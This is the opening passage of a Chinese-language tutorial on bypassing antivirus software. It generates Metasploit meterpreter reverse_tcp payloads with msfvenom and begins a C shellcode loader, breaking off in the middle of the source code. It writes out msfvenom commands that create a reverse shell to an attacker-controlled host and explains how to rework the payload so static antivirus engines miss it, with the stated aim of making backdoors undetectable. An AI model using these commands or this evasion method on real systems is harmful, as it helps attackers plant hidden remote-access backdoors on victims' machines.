反病毒解决方案用于检测恶意文件,并且通常使用静态分析技术来区分二进制文件的好坏。如果是恶意文件本身包含恶意内容(ShellCode),那么依靠静态分析技术会非常有效,但如果攻击者使用轻量级的stager来代替下载并将代码加载到内存中,会发生什么?事实证明这样做可以绕过大多数杀软的查杀。
虽然这种绕过方法并不是新鲜技术,但绕过反病毒软件对于大多数后门来说都是必要的,在这篇文章中,我们将使用virscan作为我们的检测工具,并使用Metasploit生成一些反向的ShellCode作为我们的攻击载荷。通过使用virscan云鉴定技术,可以衡量出Payload的是否免杀,但需要注意的是,只有动态检测或基于行为的检测,才能真正捕获到现实世界中的Payload。
首先我们使用 msfvenom 命令创建一个具有反向连接Shell的可执行文件,生成命令(Linux)如下:
代码语言:javascript复制[root@localhost ~]# msfvenom –p windows/meterpreter/reverse_tcp
> lhost=192.168.1.30 lport=8888
> -f exe -o lyshark.exe
上方的代码就可以生成一个lyshark.exe的可执行文件,将此文件上传到VirusTotal,发现它会被大量反病毒引擎所查杀,这是正常的,因为它是一个常见的Payload,许多安全厂商都会针对Metasploit进行特征码的提取与查杀。
嵌入式 Shellcode
通过上方的方式生成后门文件是不可取的,因为大多数反病毒厂商都掌握了Metasploit可执行模板的签名,因此我们决定创建自己的可执行文件,然后手动实现 ShellCode的加载工作。我们再次使用 msfvenom 命令,但在这次只生成 ShellCode,而不是完整的可执行文件:
代码语言:javascript复制[root@localhost ~]# msfvenom -a x86 --platform Windows
> -p windows/meterpreter/reverse_tcp
> -b 'x00x0b' LHOST=192.168.1.30 LPORT=8888 -f c
上方代码会生成一个Payload有效载荷,这里我们需要记下来,然后将ShellCode复制到一个单独的C 源文件中,然后编译生成一个可执行文件。
代码语言:javascript复制#include <Windows.h>
#include <stdio.h>
using namespace std;
int main(int argc,char **argv){
char ShellCode[] = "